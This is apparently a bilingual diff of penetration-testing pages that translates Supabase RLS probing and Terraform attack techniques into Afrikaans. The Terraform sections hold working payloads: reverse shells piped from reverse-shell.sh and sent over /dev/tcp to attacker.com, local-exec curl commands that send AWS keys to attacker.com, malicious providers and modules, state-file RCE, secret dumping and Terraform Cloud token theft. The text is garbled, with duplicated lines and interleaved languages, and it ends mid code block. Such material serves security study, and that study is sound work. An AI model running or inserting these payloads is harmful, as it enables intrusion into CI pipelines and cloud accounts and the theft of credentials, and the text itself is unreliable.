||||
Fetch the OpenAPI (works with the public anon key):
|
||||
|
||||
```bash
|
||||
curl -s https://<PROJECT_REF>.supabase.co/rest/v1/ \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Accept: application/openapi+json" | jq '.paths | keys[]'
|
||||
```
|
||||
|
||||
Probe pattern (examples):
|
||||
- Read a single row (expect 401/403/200 depending on RLS):
|
||||
Sondepatroon (voorbeelde):
|
||||
- Lees 'n enkele ry (verwag 401/403/200 afhangende van RLS):
|
||||
```bash
|
||||
curl -s "https://<PROJECT_REF>.supabase.co/rest/v1/<table>?select=*&limit=1" \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>"
|
||||
```
|
||||
- Test UPDATE is blocked (use a non-existing filter to avoid altering data during testing):
|
||||
- Toets dat UPDATE geblokkeer is (gebruik 'n nie-bestaande filter om te voorkom dat data tydens toetsing verander word):
|
||||
```bash
|
||||
curl -i -X PATCH \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
```
|
||||
- Test INSERT is blocked:
|
||||
- Toets INSERT is geblokkeer:
|
||||
```bash
|
||||
curl -i -X POST \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Prefer: return=minimal" \
|
||||
-d '{"__probe":true}' \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>"
|
||||
```
|
||||
- Test DELETE is blocked:
|
||||
- Toets DELETE is geblokkeer:
|
||||
```bash
|
||||
curl -i -X DELETE \
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
-H "apikey: <SUPABASE_ANON_KEY>" \
|
||||
-H "Authorization: Bearer <SUPABASE_ANON_KEY>" \
|
||||
"https://<PROJECT_REF>.supabase.co/rest/v1/<table_or_view>?id=eq.00000000-0000-0000-0000-000000000000"
|
||||
```
|
||||
Aanbevelings:
|
||||
- Outomatiseer die vorige probes vir beide `anon` en 'n minimaal `authenticated` gebruiker en integreer dit in CI om regressies op te spoor.
|
||||
- Behandel elke blootgestelde table/view/function as 'first-class surface'. Moet nie aanvaar dat 'n view “inherits” dieselfde RLS-houding as sy basis-tabelle nie.
|
||||
|
||||
Recommendations:
|
||||
- Automate the previous probes for both `anon` and a minimally `authenticated` user and integrate them in CI to catch regressions.
|
||||
- Treat every exposed table/view/function as a first-class surface. Don’t assume a view “inherits” the same RLS posture as its base tables.
|
||||
### Wagwoorde & sessies
|
||||
|
||||
### Passwords & sessions
|
||||
Dit is moontlik om die minimum wagwoordlengte aan te dui (per verstek), vereistes (nie per verstek nie) en te verhoed om leaked passwords te gebruik.\
|
||||
Dit word aanbeveel om die vereistes te **verbeter aangesien die verstekvereistes swak is**.
|
||||
|
||||
It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\
|
||||
It's recommended to **improve the requirements as the default ones are weak**.
|
||||
- Gebruikersessies: Dit is moontlik om te konfigureer hoe gebruikersessies werk (timeouts, 1 sessie per gebruiker...)
|
||||
- Bot- en misbruikbeskerming: Dit is moontlik om Captcha te aktiveer.
|
||||
|
||||
- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...)
|
||||
- Bot and Abuse Protection: It's possible to enable Captcha.
|
||||
### SMTP-instellings
|
||||
|
||||
### SMTP Settings
|
||||
Dit is moontlik om 'n SMTP in te stel om e-posse te stuur.
|
||||
|
||||
It's possible to set an SMTP to send emails.
|
||||
### Gevorderde instellings
|
||||
|
||||
### Advanced Settings
|
||||
- Stel vervaltyd vir toegangstokens (3600 per verstek)
|
||||
- Skakel opsporing en herroeping van moontlik gekompromiteerde refresh tokens en time-outs in
|
||||
- MFA: Gee aan hoeveel MFA-faktore gelyktydig per gebruiker geregistreer kan word (10 per verstek)
|
||||
- Max Direct Database Connections: Maksimum aantal konneksies wat vir auth gebruik word (10 per verstek)
|
||||
- Max Request Duration: Maksimum tyd toegelaat vir 'n Auth-aanvraag om te duur (10s per verstek)
|
||||
|
||||
- Set expire time to access tokens (3600 by default)
|
||||
- Set to detect and revoke potentially compromised refresh tokens and timeout
|
||||
- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default)
|
||||
- Max Direct Database Connections: Max number of connections used to auth (10 by default)
|
||||
- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default)
|
||||
|
||||
## Storage
|
||||
## Stoor
|
||||
|
||||
> [!TIP]
|
||||
> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets).
|
||||
> Supabase laat toe om **lêers te stoor** en dit via 'n URL toeganklik te maak (dit gebruik S3 buckets).
|
||||
|
||||
- Set the upload file size limit (default is 50MB)
|
||||
- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
|
||||
- Stel die oplaai-lêergrootte limiet (verstek is 50MB)
|
||||
- Die S3-verbinding word gegee met 'n URL soos: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3`
|
||||
- Dit is moontlik om **S3 access key** aan te vra wat gevorm word deur 'n `access key ID` (bv. `a37d96544d82ba90057e0e06131d0a7b`) en 'n `secret access key` (bv. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`)
|
||||
|
||||
## Edge Functions
|
||||
|
||||
It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly).
|
||||
Dit is ook moontlik om **geheime (secrets) te stoor** in supabase wat **deur edge functions toeganklik** sal wees (hulle kan vanaf die web geskep en verwyder word, maar dit is nie moontlik om hul waarde direk te verkry nie).
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -1,451 +1,417 @@
|
||||
# Terraform Security
|
||||
# Terraform Sekuriteit
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
[From the docs:](https://developer.hashicorp.com/terraform/intro)
|
||||
[Vanaf die dokumentasie:](https://developer.hashicorp.com/terraform/intro)
|
||||
|
||||
HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features.
|
||||
HashiCorp Terraform is 'n **infrastructure as code tool** wat jou toelaat om beide **cloud- en on-prem hulpbronne** in mensleesbare konfigurasielêers te definieer wat jy kan weergawebeheer, hergebruik en deel. Jy kan dan 'n konsekwente werkvloei gebruik om al jou infrastruktuur deur sy lewensiklus te voorsien en te bestuur. Terraform kan laevlak-komponente soos rekenaar-, stoor- en netwerkhulpbronne bestuur, sowel as hoëvlak-komponente soos DNS-insette en SaaS-funksies.
|
||||
|
||||
#### How does Terraform work?
|
||||
#### Hoe werk Terraform?
|
||||
|
||||
Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API.
|
||||
Terraform skep en bestuur hulpbronne op cloud-platforms en ander dienste deur hul toepassingsprogrammeringsinterfaces (APIs). Providers maak dit moontlik dat Terraform met feitlik enige platform of diens met 'n toeganklike API kan werk.
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more.
|
||||
HashiCorp en die Terraform-gemeenskap het reeds **meer as 1700 providers** geskryf om duisende verskillende tipes hulpbronne en dienste te bestuur, en hierdie getal groei voortdurend. Jy kan alle publiek beskikbare providers vind op die [Terraform Registry](https://registry.terraform.io/), insluitend Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, en vele meer.
|
||||
|
||||
The core Terraform workflow consists of three stages:
|
||||
Die kern Terraform-werkvloei bestaan uit drie fases:
|
||||
|
||||
- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer.
|
||||
- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
|
||||
- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines.
|
||||
- **Write:** Jy definieer hulpbronne, wat oor verskeie cloud providers en dienste kan versprei. Byvoorbeeld, jy kan 'n konfigurasie skep om 'n toepassing op virtual machines in 'n Virtual Private Cloud (VPC)-netwerk met security groups en 'n load balancer te ontplooi.
|
||||
- **Plan:** Terraform skep 'n uitvoeringsplan wat beskryf watter infrastruktuur dit sal skep, opdateer of vernietig gebaseer op die bestaande infrastruktuur en jou konfigurasie.
|
||||
- **Apply:** By goedkeuring voer Terraform die voorgestelde operasies in die korrekte volgorde uit, met inagneming van hulpbronafhanklikhede. Byvoorbeeld, as jy die eienskappe van 'n VPC opdateer en die aantal virtual machines in daardie VPC verander, sal Terraform eers die VPC herbou voordat dit die virtual machines skaal.
|
||||
|
||||
.png>)
|
||||
|
||||
### Terraform Lab
|
||||
### Terraform-lab
|
||||
|
||||
Just install terraform in your computer.
|
||||
Installeer net Terraform op jou rekenaar.
|
||||
|
||||
Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
|
||||
Hier is 'n [gids](https://learn.hashicorp.com/tutorials/terraform/install-cli) en hier is die [beste manier om terraform af te laai](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE in Terraform: config file poisoning
|
||||
|
||||
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).
|
||||
Terraform **het nie 'n platform wat 'n webblad of 'n netwerkdiens blootstel nie**, dus is die enigste manier om terraform te kompromitteer om **by te voeg/wysig terraform konfigurasielêers** of om **die terraform state-lêer te kan wysig** (sien hoofstuk hieronder).
|
||||
|
||||
However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.
|
||||
Nietemin is terraform 'n **baie sensitiewe komponent** om te kompromitteer aangezien dit **bevoorregte toegang** tot verskillende plekke sal hê sodat dit behoorlik kan werk.
|
||||
|
||||
The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**.
|
||||
Die hoofweg vir 'n aanvaller om die stelsel waar terraform loop te kompromitteer, is om die repository wat terraform-konfigurasies stoor te kompromitteer, omdat hierdie konfigurasies uiteindelik geïnterpreteer gaan word.
|
||||
|
||||
Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**:
|
||||
Daar bestaan werklik oplossings wat **terraform plan/apply outomaties uitvoer na 'n PR** geskep is, soos **Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`.
|
||||
As jy 'n terraform-lêer kan kompromitteer, is daar verskillende maniere waarop jy RCE kan uitvoer wanneer iemand `terraform plan` of `terraform apply` uitgevoer het.
|
||||
|
||||
### Terraform plan
|
||||
|
||||
Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`.
|
||||
Terraform plan is die **mees gebruikte command** in terraform en ontwikkelaars/oplossings wat terraform gebruik roep dit deurlopend aan, so die **maaklikste manier om RCE te kry** is om seker te maak jy poison 'n terraform config file wat arbitrêre opdragte in 'n `terraform plan` sal uitvoer.
|
||||
|
||||
**Using an external provider**
|
||||
|
||||
Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`.
|
||||
|
||||
Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`:
|
||||
Terraform bied die [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) wat 'n manier verskaf om 'n koppelvlak tussen Terraform en eksterne programme te hê. Jy kan die `external` data source gebruik om arbitrêre kode tydens 'n `plan` te laat loop.
|
||||
|
||||
Indien jy iets soos die volgende in 'n terraform config file invoeg, sal dit 'n rev shell uitvoer wanneer `terraform plan` uitgevoer word:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Gebruik van 'n custom provider**
|
||||
|
||||
**Using a custom provider**
|
||||
|
||||
An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
|
||||
'n aanvaller kan 'n [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) na die [Terraform Registry](https://registry.terraform.io/) stuur en dit dan by die Terraform-kode in 'n feature branch voeg ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
```javascript
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
Die provider word afgelaai in die `init` en sal die kwaadaardige kode uitvoer wanneer `plan` uitgevoer word
|
||||
|
||||
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
|
||||
Jy kan 'n voorbeeld vind by [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
**Gebruik 'n eksterne verwysing**
|
||||
|
||||
**Using an external reference**
|
||||
|
||||
Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
Albei genoemde opsies is nuttig, maar nie baie heimlik nie (die tweede is meer heimlik, maar ook meer kompleks as die eerste). Jy kan hierdie aanval selfs op 'n **meer heimlike wyse** uitvoer deur die volgende voorstelle te volg:
|
||||
|
||||
- In plaas daarvan om die rev shell direk in die terraform file by te voeg, kan jy **'n eksterne resource laai** wat die rev shell bevat:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
Jy kan die rev shell code vind in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- In die eksterne bron, gebruik die **ref**-funksie om die **terraform rev shell code in a branch** binne die repo weg te steek, iets soos: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
|
||||
Terraform apply sal uitgevoer word om al die veranderinge toe te pas; jy kan dit ook misbruik om RCE te verkry deur **'n skadelike Terraform-lêer met** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Jy hoef net seker te maak dat 'n payload soos die volgende in die `main.tf`-lêer eindig:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
|
||||
Volg die **aanbevelings van die vorige tegniek** om hierdie aanval op 'n **meer diskrete wyse deur eksterne verwysings te gebruik** uit te voer.
|
||||
|
||||
## Secrets Dumps
|
||||
|
||||
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
|
||||
|
||||
Jy kan veroorsaak dat **geheime waardes wat deur terraform gebruik word, gedump word** deur `terraform apply` uit te voer deur iets soos die volgende by die terraform-lêer te voeg:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
## Misbruik van Terraform state-lêers
|
||||
|
||||
## Abusing Terraform State Files
|
||||
|
||||
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.
|
||||
As u skryftoegang het tot terraform state-lêers maar nie die terraform-kode kan verander nie, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gee 'n paar interessante opsies om van die lêer voordeel te trek. Selfs as u skryftoegang tot die config-lêers sou hê, is die state-lêer-vektor dikwels baie listiger, aangesien u nie spore in die `git`-geskiedenis agterlaat nie.
|
||||
|
||||
### RCE in Terraform: config file poisoning
|
||||
|
||||
It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.
|
||||
Dit is moontlik om [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) en net een van die providers in die terraform state-lêer met die kwaadwillige een te vervang, of 'n fake resource by te voeg wat na die kwaadwillige provider verwys.
|
||||
|
||||
The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:
|
||||
Die provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) bou op die navorsing en gebruik hierdie beginsel as 'n aanvalsinstrument. Jy kan 'n fake resource byvoeg en die willekeurige bash-opdrag wat jy wil uitvoer spesifiseer in die attribuut `command`. Wanneer die `terraform`-uitvoering geaktiveer word, sal dit gelees en uitgevoer word in beide die `terraform plan`- en `terraform apply`-stappe. By die `terraform apply`-stap sal `terraform` die fake resource uit die state-lêer verwyder nadat jou opdrag uitgevoer is, en so self skoonmaak. Meer inligting en 'n volledige demo is te vinde in die [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
Om dit direk te gebruik, sluit net die volgende by enige posisie van die `resources`-array in en pas die `name`- en `command`-attribuut aan:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "rce",
|
||||
"name": "<arbitrary_name>",
|
||||
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
|
||||
"instances": [
|
||||
{
|
||||
"schema_version": 0,
|
||||
"attributes": {
|
||||
"command": "<arbitrary_command>",
|
||||
"id": "rce"
|
||||
},
|
||||
"sensitive_attributes": [],
|
||||
"private": "bnVsbA=="
|
||||
}
|
||||
]
|
||||
"mode": "managed",
|
||||
"type": "rce",
|
||||
"name": "<arbitrary_name>",
|
||||
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
|
||||
"instances": [
|
||||
{
|
||||
"schema_version": 0,
|
||||
"attributes": {
|
||||
"command": "<arbitrary_command>",
|
||||
"id": "rce"
|
||||
},
|
||||
"sensitive_attributes": [],
|
||||
"private": "bnVsbA=="
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Dan, sodra `terraform` uitgevoer word, sal jou kode uitgevoer word.
|
||||
|
||||
Then, as soon as `terraform` gets executed, your code will run.
|
||||
### Hulpbronne verwyder <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
Daar is 2 maniere om hulpbronne te vernietig:
|
||||
|
||||
There are 2 ways to destroy resources:
|
||||
|
||||
1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
|
||||
|
||||
Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
|
||||
1. **Voeg 'n hulpbron met 'n ewekansige naam in die state-lêer in wat na die werklike hulpbron wys wat vernietig moet word**
|
||||
|
||||
Omdat terraform sal sien dat die hulpbron nie behoort te bestaan nie, sal dit dit vernietig (volgens die aangeduide werklike hulpbron-ID). Voorbeeld van die vorige bladsy:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Wysig die resource om te verwyder op 'n wyse dat dit nie bygewerk kan word nie (sodat dit verwyder en weer geskep sal word)**
|
||||
|
||||
2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
|
||||
Vir 'n EC2 instance is dit genoeg om die instance tipe te wysig om terraform te dwing om dit te verwyder en weer te skep.
|
||||
|
||||
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
|
||||
|
||||
### Replace blacklisted provider
|
||||
|
||||
In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
|
||||
### Vervang 'n swartgelysde provider
|
||||
|
||||
In geval jy 'n situasie teëkom waar `hashicorp/external` op die swartlys was, kan jy die `external` provider herimplementeer deur die volgende te doen. Let wel: Ons gebruik 'n fork van die external provider gepubliseer by https://registry.terraform.io/providers/nazarewk/external/latest. Jy kan ook jou eie fork of herimplementering publiseer.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Then you can use `external` as per normal.
|
||||
|
||||
Dan kan jy `external` soos gewoonlik gebruik.
|
||||
```terraform
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
|
||||
## Terraform Cloud speculative plan RCE and credential exfiltration
|
||||
|
||||
This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account.
|
||||
|
||||
- Preconditions:
|
||||
- Steal a Terraform Cloud token from a developer machine. The CLI stores tokens in plaintext at `~/.terraform.d/credentials.tfrc.json`.
|
||||
- The token must have access to the target organization/workspace and at least the `plan` permission. VCS-backed workspaces block `apply` from CLI, but still allow speculative plans.
|
||||
|
||||
- Discover workspace and VCS settings via the TFC API:
|
||||
- Voorvereistes:
|
||||
- Steel 'n Terraform Cloud token van 'n ontwikkelaar se masjien. Die CLI stoor tokens in plaintext by `~/.terraform.d/credentials.tfrc.json`.
|
||||
- Die token moet toegang hê tot die teiken organization/workspace en minstens die `plan` toestemming. VCS-backed workspaces blokkeer `apply` vanaf die CLI, maar laat steeds speculative plans toe.
|
||||
|
||||
- Ontdek die workspace en VCS-instellings via die TFC API:
|
||||
```bash
|
||||
export TF_TOKEN=<stolen_token>
|
||||
curl -s -H "Authorization: Bearer $TF_TOKEN" \
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
|
||||
```
|
||||
|
||||
- Trigger code execution during a speculative plan using the external data source and the Terraform Cloud "cloud" block to target the VCS-backed workspace:
|
||||
|
||||
- Ontlok kode-uitvoering tydens 'n speculative plan' deur die external data source en die Terraform Cloud "cloud" block te gebruik om die VCS-backed workspace te teiken:
|
||||
```hcl
|
||||
terraform {
|
||||
cloud {
|
||||
organization = "acmecorp"
|
||||
workspaces { name = "gcp-infra-prod" }
|
||||
}
|
||||
cloud {
|
||||
organization = "acmecorp"
|
||||
workspaces { name = "gcp-infra-prod" }
|
||||
}
|
||||
}
|
||||
|
||||
data "external" "exec" {
|
||||
program = ["bash", "./rsync.sh"]
|
||||
program = ["bash", "./rsync.sh"]
|
||||
}
|
||||
```
|
||||
|
||||
Example rsync.sh to obtain a reverse shell on the TFC runner:
|
||||
|
||||
Voorbeeld rsync.sh om 'n reverse shell op die TFC runner te kry:
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
|
||||
```
|
||||
|
||||
Run a speculative plan to execute the program on the ephemeral runner:
|
||||
|
||||
Voer 'n spekulatiewe plan uit om die program op die ephemeral runner uit te voer:
|
||||
```bash
|
||||
terraform init
|
||||
terraform plan
|
||||
```
|
||||
|
||||
- Enumerate and exfiltrate injected cloud credentials from the runner. During runs, TFC injects provider credentials via files and environment variables:
|
||||
|
||||
- Enumerate and exfiltrate injected cloud credentials van die runner. Tydens runs, TFC injects provider credentials via files and environment variables:
|
||||
```bash
|
||||
